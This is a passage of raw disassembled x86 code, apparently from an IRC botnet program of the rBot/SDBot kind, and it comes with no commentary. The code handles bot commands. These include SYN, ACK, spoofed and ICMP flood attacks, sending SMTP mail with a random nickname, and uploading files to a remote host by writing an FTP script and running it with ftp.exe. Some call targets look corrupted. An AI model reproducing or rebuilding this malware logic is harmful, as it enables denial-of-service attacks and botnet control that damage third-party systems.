test eax, eax
pop ecx
jz loc_406CD2
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_406C7A
lea eax, [ebp+var_46F0]
push edi
push eax
call sub_41C620
push [ebp+arg_18]
call sub_41BEF9
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_438C]
push eax
call sub_41C620
push [ebp+arg_10]
lea eax, [ebp+var_458C]
push eax
call sub_41C620
push offset asc_42CDCC ; " "
push offset dword_42B938
push [ebp+esi+var_7C]
call sub_4183EC
push eax
lea eax, [ebp+var_408C]
push eax
call sub_41C620
add esp, 30h
lea eax, [ebp+var_528C]
push eax
push 101h
call dword_4C9274
lea eax, [ebp+var_46F0]
push eax
call dword_4C9388
push 6
push 1
push 2
mov edi, eax
call dword_4C9384
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4C9304
mov [ebp+var_31A], ax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_458C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_568C]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41C006
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4C92AC
mov edi, 100h
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4C931C
lea eax, [ebp+var_448C]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_568C]
push eax
push esi
call dword_4C9354
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4C931C
push esi
call dword_4C939C
call dword_4C925C
lea eax, [ebp+var_458C]
push eax
push offset unk_42AF00
loc_406C33: ; CODE XREF: sub_401AC7+2E4Fj
; sub_401AC7+65CFj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
loc_406C3F: ; CODE XREF: sub_401AC7+241Bj
add esp, 0Ch
loc_406C42: ; CODE XREF: sub_401AC7+4483j
; sub_401AC7+44DDj ...
cmp [ebp+var_8], ebx
jnz short loc_406C63
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 14h
loc_406C63: ; CODE XREF: sub_401AC7+2955j
; sub_401AC7+29A8j ...
mov esi, [ebp+arg_24]
loc_406C66: ; CODE XREF: sub_401AC7+6848j
; sub_401AC7+7750j ...
lea eax, [ebp+var_2C4]
push eax
call sub_415CEE
pop ecx
mov eax, esi
jmp loc_401F6F
; ---------------------------------------------------------------------------
loc_406C7A: ; CODE XREF: sub_401AC7+5016j
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_406CA4
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_40724F
loc_406CA4: ; CODE XREF: sub_401AC7+51C4j
push [ebp+esi+var_7C]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41BEF9
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_410A9D
jmp loc_409640
; ---------------------------------------------------------------------------
loc_406CD2: ; CODE XREF: sub_401AC7+4FE8j
; sub_401AC7+4FFFj
mov esi, 80h
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41C100
lea eax, [ebp+var_1358]
push eax
push offset aSyn ; "syn"
call sub_41C7E0
add esp, 14h
test eax, eax
jz short loc_406D35
lea eax, [ebp+var_1358]
push eax
push offset aAck ; "ack"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_406D35
lea eax, [ebp+var_1358]
push eax
push offset aRandom_0 ; "random"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_406D35
push offset unk_42AEB8
jmp loc_406E6F
; ---------------------------------------------------------------------------
loc_406D35: ; CODE XREF: sub_401AC7+5234j
; sub_401AC7+524Bj ...
push [ebp+arg_10]
call sub_41BEF9
cmp eax, ebx
pop ecx
mov [ebp+var_1250], eax
jle loc_406E6A
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41C100
push [ebp+arg_18]
lea eax, [ebp+var_13D8]
push esi
push eax
call sub_41C100
push [ebp+arg_0]
call sub_41BEF9
mov [ebp+var_1254], eax
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_124C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13DC], eax
lea eax, [ebp+var_12D8]
push esi
push eax
call sub_41C100
mov eax, [ebp+var_4]
add esp, 28h
cmp [ebp+var_124C], ebx
mov [ebp+var_1248], eax
mov eax, [ebp+var_8]
mov [ebp+var_1244], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406DCC
mov eax, offset aNormal ; "Normal"
loc_406DCC: ; CODE XREF: sub_401AC7+52FEj
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset unk_42AE74
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C100
push ebx
lea eax, [ebp+var_2C4]
push 14h
push eax
call sub_40B3AD
add esp, 2Ch
mov [ebp+var_1258], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13DC]
push ebx
push eax
push offset dword_414974
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_1258]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_406E4A
loc_406E34: ; CODE XREF: sub_401AC7+5381j
cmp [ebp+var_1240], ebx
jnz loc_4081DE
push 32h
call near ptr 268051Bh
nop
jmp short loc_406E34
; ---------------------------------------------------------------------------
loc_406E4A: ; CODE XREF: sub_401AC7+536Bj
nop
call near ptr 2680DCDh
push eax
push offset unk_42AE3C
loc_406E56: ; CODE XREF: sub_401AC7+20E5j
; sub_401AC7+2EA4j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
loc_406E62: ; CODE XREF: sub_401AC7+54DDj
add esp, 0Ch
jmp loc_4081DE
; ---------------------------------------------------------------------------
loc_406E6A: ; CODE XREF: sub_401AC7+527Fj
push offset unk_42AE04
loc_406E6F: ; CODE XREF: sub_401AC7+1FAEj
; sub_401AC7+1FC4j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
pop ecx
pop ecx
jmp loc_4081DE
; ---------------------------------------------------------------------------
loc_406E82: ; CODE XREF: sub_401AC7+4F5Cj
; sub_401AC7+4F73j ...
cmp dword_4C93F4, ebx
jnz loc_406F8E
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_FF8], eax
mov eax, [ebp+var_4]
mov [ebp+var_FFC], eax
lea eax, [ebp+var_1090]
push edi
push eax
call sub_41BD70
push [ebp+arg_18]
call sub_41BEF9
push [ebp+arg_0]
mov [ebp+var_1010], eax
call sub_41BEF9
push [ebp+arg_10]
mov [ebp+var_100C], eax
call sub_41BEF9
push 7Fh
mov [ebp+var_1008], eax
push [ebp+var_88]
lea eax, [ebp+var_1110]
push eax
call sub_41BD70
push [ebp+var_1008]
mov eax, [ebp+arg_4]
mov [ebp+var_1114], eax
lea eax, [ebp+var_1090]
push [ebp+var_100C]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_1010]
push offset unk_42ADBC
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 16h
push eax
call sub_40B3AD
add esp, 48h
mov [ebp+var_1000], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1114]
push ebx
push eax
push offset byte_413DCB
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_1000]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_406F7D
loc_406F67: ; CODE XREF: sub_401AC7+54B4j
cmp [ebp+var_FF4], ebx
jnz loc_4081DE
push 32h
call near ptr 268051Bh
nop
jmp short loc_406F67
; ---------------------------------------------------------------------------
loc_406F7D: ; CODE XREF: sub_401AC7+549Ej
nop
call near ptr 2680DCDh
push eax
push offset unk_42AD84
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_406F8E: ; CODE XREF: sub_401AC7+53C1j
push 1FFh
lea eax, [ebp+var_2C4]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41BD70
jmp loc_406E62
; ---------------------------------------------------------------------------
loc_406FA9: ; CODE XREF: sub_401AC7+4F2Ej
; sub_401AC7+4F45j
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push edi
push [ebp+arg_0]
push offset unk_42AD30
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
push [ebp+arg_0]
call sub_41B960
push [ebp+arg_18]
mov edi, eax
call sub_41B960
push [ebp+arg_20]
add edi, eax
call sub_41B960
push [ebp+arg_8]
add edi, eax
call sub_41B960
add eax, [ebp+var_C]
push [ebp+arg_10]
lea eax, [eax+edi+7]
push eax
call sub_41C080
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41BEF9
mov edi, [ebp+arg_20]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_1C], ebx
jle short loc_4070A3
loc_40702C: ; CODE XREF: sub_401AC7+5589j
push [ebp+arg_C]
push [ebp+arg_18]
push edi
call sub_418AA2
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_20], eax
jz short loc_407054
cmp eax, ebx
jnz short loc_407073
inc [ebp+arg_1C]
mov eax, [ebp+arg_1C]
cmp eax, [ebp+arg_14]
jl short loc_40702C
jmp short loc_4070AC
; ---------------------------------------------------------------------------
loc_407054: ; CODE XREF: sub_401AC7+557Aj
push ebx
push [ebp+var_4]
push offset unk_42ACF8
loc_40705D: ; CODE XREF: sub_401AC7+55EEj
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 14h
jmp loc_40724F
; ---------------------------------------------------------------------------
loc_407073: ; CODE XREF: sub_401AC7+557Ej
push [ebp+arg_20]
lea eax, [ebp+var_2C4]
push offset unk_42ACC4
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 20h
loc_4070A3: ; CODE XREF: sub_401AC7+5563j
cmp [ebp+arg_20], ebx
jnz loc_40724F
loc_4070AC: ; CODE XREF: sub_401AC7+558Bj
push ebx
push [ebp+var_4]
push offset unk_42AC90
jmp short loc_40705D
; ---------------------------------------------------------------------------
loc_4070B7: ; CODE XREF: sub_401AC7+4EE9j
; sub_401AC7+4F00j ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_C68], eax
mov eax, [ebp+var_4]
mov [ebp+var_C6C], eax
lea eax, [ebp+var_D00]
push edi
push eax
call sub_41BD70
push [ebp+arg_18]
call sub_41BEF9
push [ebp+arg_0]
mov [ebp+var_C80], eax
call sub_41BEF9
push [ebp+arg_10]
mov [ebp+var_C7C], eax
call sub_41BEF9
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C78], eax
jz short loc_40711C
push esi
call sub_41BEF9
pop ecx
mov [ebp+var_C74], eax
jmp short loc_407122
; ---------------------------------------------------------------------------
loc_40711C: ; CODE XREF: sub_401AC7+5644j
mov [ebp+var_C74], ebx
loc_407122: ; CODE XREF: sub_401AC7+5653j
push 7Fh
lea eax, [ebp+var_D80]
push [ebp+var_88]
push eax
call sub_41BD70
push [ebp+var_C78]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_D00]
mov [ebp+var_D84], esi
push [ebp+var_C7C]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_C80]
push offset unk_42AC48
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 17h
push eax
call sub_40B3AD
add esp, 30h
mov [ebp+var_C70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D84]
push ebx
push eax
push offset byte_413F57
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_C70]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_4071C2
loc_4071B0: ; CODE XREF: sub_401AC7+56F9j
cmp [ebp+var_C64], ebx
jnz short loc_4071DD
push 32h
call near ptr 268051Bh
nop
jmp short loc_4071B0
; ---------------------------------------------------------------------------
loc_4071C2: ; CODE XREF: sub_401AC7+56E7j
nop
call near ptr 2680DCDh
push eax
push offset unk_42AC10
loc_4071CE: ; CODE XREF: sub_401AC7+4D54j
; sub_401AC7+621Ej ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
add esp, 0Ch
loc_4071DD: ; CODE XREF: sub_401AC7+4D38j
; sub_401AC7+56EFj ...
cmp [ebp+var_8], ebx
jnz loc_40830C
push ebx
push [ebp+var_4]
loc_4071EA: ; CODE XREF: sub_401AC7+2271j
lea eax, [ebp+var_2C4]
push eax
push [ebp+var_88]
push esi
jmp loc_4081FB
; ---------------------------------------------------------------------------
loc_4071FD: ; CODE XREF: sub_401AC7+4EBBj
; sub_401AC7+4ED2j
push 0Bh
call sub_40B5F5
push [ebp+arg_18]
mov [ebp+arg_1C], eax
call sub_41BEF9
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 320h
jle loc_4073C5
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42ABD4
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 20h
loc_40724F: ; CODE XREF: sub_401AC7+51D7j
; sub_401AC7+55A7j ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401F6C
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_409643
push 4
push esi
call sub_416C63
pop ecx
test eax, eax
pop ecx
jnz short loc_40729A
push esi
push offset unk_42ABAC
loc_407286: ; CODE XREF: sub_401AC7+7985j
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
add esp, 0Ch
jmp loc_403F81
; ---------------------------------------------------------------------------
loc_40729A: ; CODE XREF: sub_401AC7+57B7j
call near ptr 26A0729h
nop
push eax
call sub_41C058
pop ecx
call sub_41C062
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41C062
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41C062
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_50FC]
push edx
push eax
lea eax, [ebp+var_2E5C]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41C006
lea eax, [ebp+var_2E5C]
push offset aAb ; "ab"
push eax
call sub_41BC88
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401F6C
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41C56F
push [ebp+arg_24]
call sub_41B9DB
lea eax, [ebp+var_2E5C]
push eax
lea eax, [ebp+var_4CF8]
push offset aSS_1 ; "-s:%s"
push eax
call sub_41C006
add esp, 2Ch
lea eax, [ebp+var_4CF8]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4C9270
test eax, eax
push edi
push esi
jz short loc_407364
push offset unk_42AB3C
jmp short loc_407369
; ---------------------------------------------------------------------------
loc_407364: ; CODE XREF: sub_401AC7+5894j
push offset unk_42AB0C
loc_407369: ; CODE XREF: sub_401AC7+589Bj
call sub_41C006
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_407392
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 14h
loc_407392: ; CODE XREF: sub_401AC7+58ADj
lea eax, [ebp+var_2C4]
push eax
call sub_415CEE
loc_40739E: ; CODE XREF: sub_401AC7+58FCj
lea eax, [ebp+var_2E5C]
push 4
push eax
call sub_416C63
add esp, 0Ch
test eax, eax
jz loc_401F6C
lea eax, [ebp+var_2E5C]
push eax
call sub_41C545
jmp short loc_40739E
; ---------------------------------------------------------------------------
loc_4073C5: ; CODE XREF: sub_401AC7+5752j
push edi
call sub_41BEF9
push [ebp+arg_18]
mov [ebp+var_370], eax
call sub_41BEF9
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41BEF9
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_4073FE
push 5
pop eax
mov [ebp+var_36C], eax
loc_4073FE: ; CODE XREF: sub_401AC7+592Cj
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40740B
mov [ebp+var_36C], ecx
loc_40740B: ; CODE XREF: sub_401AC7+593Cj
push [ebp+arg_10]
call sub_41BEF9
cmp eax, 320h
pop ecx
mov [ebp+var_368], eax
jbe short loc_40742B
mov [ebp+var_368], 320h
loc_40742B: ; CODE XREF: sub_401AC7+5958j
or [ebp+var_354], 0FFFFFFFFh
cmp dword_431808, ebx
mov [ebp+arg_1C], ebx
jz short loc_407481
mov [ebp+arg_24], offset dword_431808
loc_407444: ; CODE XREF: sub_401AC7+599Cj
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_407467
add [ebp+arg_24], 40h
inc [ebp+arg_1C]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_407444
jmp short loc_407481
; ---------------------------------------------------------------------------
loc_407467: ; CODE XREF: sub_401AC7+598Ej
mov eax, [ebp+arg_1C]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_431808[ecx]
mov [ebp+var_370], ecx
loc_407481: ; CODE XREF: sub_401AC7+5974j
; sub_401AC7+599Ej
cmp [ebp+var_370], ebx
jnz short loc_407493
push offset unk_42AAD8
jmp loc_406E6F
; ---------------------------------------------------------------------------
loc_407493: ; CODE XREF: sub_401AC7+59C0j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_4074CE
cmp byte ptr [edi], 23h
jz short loc_4074CE
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41C100
push 78h
push edi
call sub_41C720
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_4075A8
; ---------------------------------------------------------------------------
loc_4074CE: ; CODE XREF: sub_401AC7+59D5j
; sub_401AC7+59DAj
cmp [ebp+var_8FF], bl
jnz short loc_4074F0
cmp [ebp+var_8FE], bl
jnz short loc_4074F0
cmp [ebp+var_8EE], bl
jnz short loc_4074F0
push offset unk_42AAA4
jmp loc_406E6F
; ---------------------------------------------------------------------------
loc_4074F0: ; CODE XREF: sub_401AC7+5A0Dj
; sub_401AC7+5A15j ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4C92A8
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4C9390
push eax
lea eax, [ebp+var_484]
push eax
call sub_41BD70
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_4075A2
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41C5B0
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407596
loc_407574: ; CODE XREF: sub_401AC7+5ACDj
cmp eax, ebx
jz short loc_407596
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41C5B0
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_407574
loc_407596: ; CODE XREF: sub_401AC7+5AABj
; sub_401AC7+5AAFj
mov [ebp+var_344], 1
jmp short loc_4075A8
; ---------------------------------------------------------------------------
loc_4075A2: ; CODE XREF: sub_401AC7+5A85j
mov [ebp+var_344], ebx
loc_4075A8: ; CODE XREF: sub_401AC7+5A02j
; sub_401AC7+5AD9j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41C100
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_4075F9
loc_4075E6: ; CODE XREF: sub_401AC7+5B55j
push esi
loc_4075E7: ; CODE XREF: sub_401AC7+5B3Fj
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41C100
add esp, 0Ch
jmp short loc_407624
; ---------------------------------------------------------------------------
loc_4075F9: ; CODE XREF: sub_401AC7+5B1Dj
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_407608
cmp byte ptr [eax], 23h
jnz short loc_407608
push eax
jmp short loc_4075E7
; ---------------------------------------------------------------------------
loc_407608: ; CODE XREF: sub_401AC7+5B37j
; sub_401AC7+5B3Cj
mov esi, offset aF ; "#f"
push offset byte_43B4B8
push esi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4075E6
mov [ebp+var_3F4], bl
loc_407624: ; CODE XREF: sub_401AC7+5B30j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_407636
mov eax, offset aSequential ; "Sequential"
loc_407636: ; CODE XREF: sub_401AC7+5B68j
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AA3C
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3AD
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset loc_40C5E7
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_4076C4
loc_4076AE: ; CODE XREF: sub_401AC7+5BFBj
cmp [ebp+var_340], ebx
jnz loc_4081DE
push 32h
call near ptr 268051Bh
nop
jmp short loc_4076AE
; ---------------------------------------------------------------------------
loc_4076C4: ; CODE XREF: sub_401AC7+5BE5j
nop
call near ptr 2680DCDh
push eax
push offset unk_42AA04
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_4076D5: ; CODE XREF: sub_401AC7+4E8Dj
; sub_401AC7+4EA4j
push edi
call sub_40A8E4
push [ebp+arg_18]
mov [ebp+var_4E0], eax
call sub_41BEF9
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41BEF9
push [ebp+arg_10]
mov [ebp+var_4EC], eax
call sub_41BEF9
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41BD70
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4C9390
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A9B4
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3AD
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset dword_40CA04
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_4077CA
loc_4077B4: ; CODE XREF: sub_401AC7+5D01j
cmp [ebp+var_4D0], ebx
jnz loc_403D2D
push 32h
nop
call near ptr 268051Bh
jmp short loc_4077B4
; ---------------------------------------------------------------------------
loc_4077CA: ; CODE XREF: sub_401AC7+5CEBj
nop
call near ptr 2680DCDh
push eax
push offset unk_42A978
jmp loc_403D1E
; ---------------------------------------------------------------------------
loc_4077DB: ; CODE XREF: sub_401AC7+4E50j
; sub_401AC7+4E67j
push edi
call sub_41BEF9
imul eax, 234h
pop ecx
cmp byte_43C258[eax], bl
jz loc_409643
cmp [ebp+var_C], ebx
jz loc_409643
push [ebp+arg_18]
call sub_41B960
push edi
mov esi, eax
call sub_41B960
push [ebp+arg_8]
add esi, eax
call sub_41B960
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C080
mov esi, eax
lea eax, [ebp+var_2C4]
push esi
push offset dword_42A96C
push eax
call sub_41C006
add esp, 20h
cmp esi, ebx
jz loc_409643
push edi
call sub_41BEF9
test eax, eax
pop ecx
jle loc_409643
push edi
call sub_41BEF9
cmp eax, 400h
pop ecx
jge loc_409643
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41BEF9
imul eax, 234h
pop ecx
push dword_43C24C[eax]
call sub_409862
push edi
call sub_41BEF9
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43C040[eax], 73h
jnz loc_409643
push esi
push edi
call sub_41BEF9
imul eax, 234h
pop ecx
add eax, offset byte_43C258
push eax
push [ebp+arg_18]
push offset aSSS_2 ; "[%s] * %s %s"
loc_4078C3: ; CODE XREF: sub_401AC7+5EF6j
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
jmp loc_404068
; ---------------------------------------------------------------------------
loc_4078ED: ; CODE XREF: sub_401AC7+4E22j
; sub_401AC7+4E39j
push edi
call sub_41BEF9
imul eax, 234h
pop ecx
cmp byte_43C258[eax], bl
jz loc_409643
cmp [ebp+var_C], ebx
jz loc_409643
push [ebp+arg_18]
call sub_41B960
push edi
mov esi, eax
call sub_41B960
push [ebp+arg_8]
add esi, eax
call sub_41B960
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C080
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409643
push edi
call sub_41BEF9
test eax, eax
pop ecx
jle loc_409643
push edi
call sub_41BEF9
cmp eax, 400h
pop ecx
jge loc_409643
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41BEF9
imul eax, 234h
pop ecx
push dword_43C24C[eax]
call sub_409862
push edi
call sub_41BEF9
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43C040[eax], 73h
jnz loc_409643
push esi
push edi
call sub_41BEF9
imul eax, 234h
pop ecx
add eax, offset byte_43C258
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] <%s> %s"
jmp loc_4078C3
; ---------------------------------------------------------------------------
loc_4079C2: ; CODE XREF: sub_401AC7+4DF4j
; sub_401AC7+4E0Bj
push edi
call dword_4C9344
push [ebp+arg_18]
mov [ebp+var_680], eax
call sub_41BEF9
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41BEF9
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41BD70
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4C9390
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A914
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3AD
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset byte_40C913
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_407AA4
loc_407A8E: ; CODE XREF: sub_401AC7+5FDBj
cmp [ebp+var_670], ebx
jnz loc_403D2D
push 32h
call near ptr 268051Bh
nop
jmp short loc_407A8E
; ---------------------------------------------------------------------------
loc_407AA4: ; CODE XREF: sub_401AC7+5FC5j
nop
call near ptr 2680DCDh
push eax
push offset unk_42AA04
jmp loc_403D1E
; ---------------------------------------------------------------------------
loc_407AB5: ; CODE XREF: sub_401AC7+4DC6j
; sub_401AC7+4DDDj
push edi
call sub_41BEF9
push 7Fh
mov [ebp+var_1130], eax
push [ebp+arg_18]
lea eax, [ebp+var_1234]
push eax
call sub_41BD70
push [ebp+arg_0]
call sub_41BEF9
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_1134], eax
lea eax, [ebp+var_11B4]
push 80h
push eax
mov [ebp+var_123C], esi
call sub_41C100
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_1120], eax
push [ebp+var_1134]
